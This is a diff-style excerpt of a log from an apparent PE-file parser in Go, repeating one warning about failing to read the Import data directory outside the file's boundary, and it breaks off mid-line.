+time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 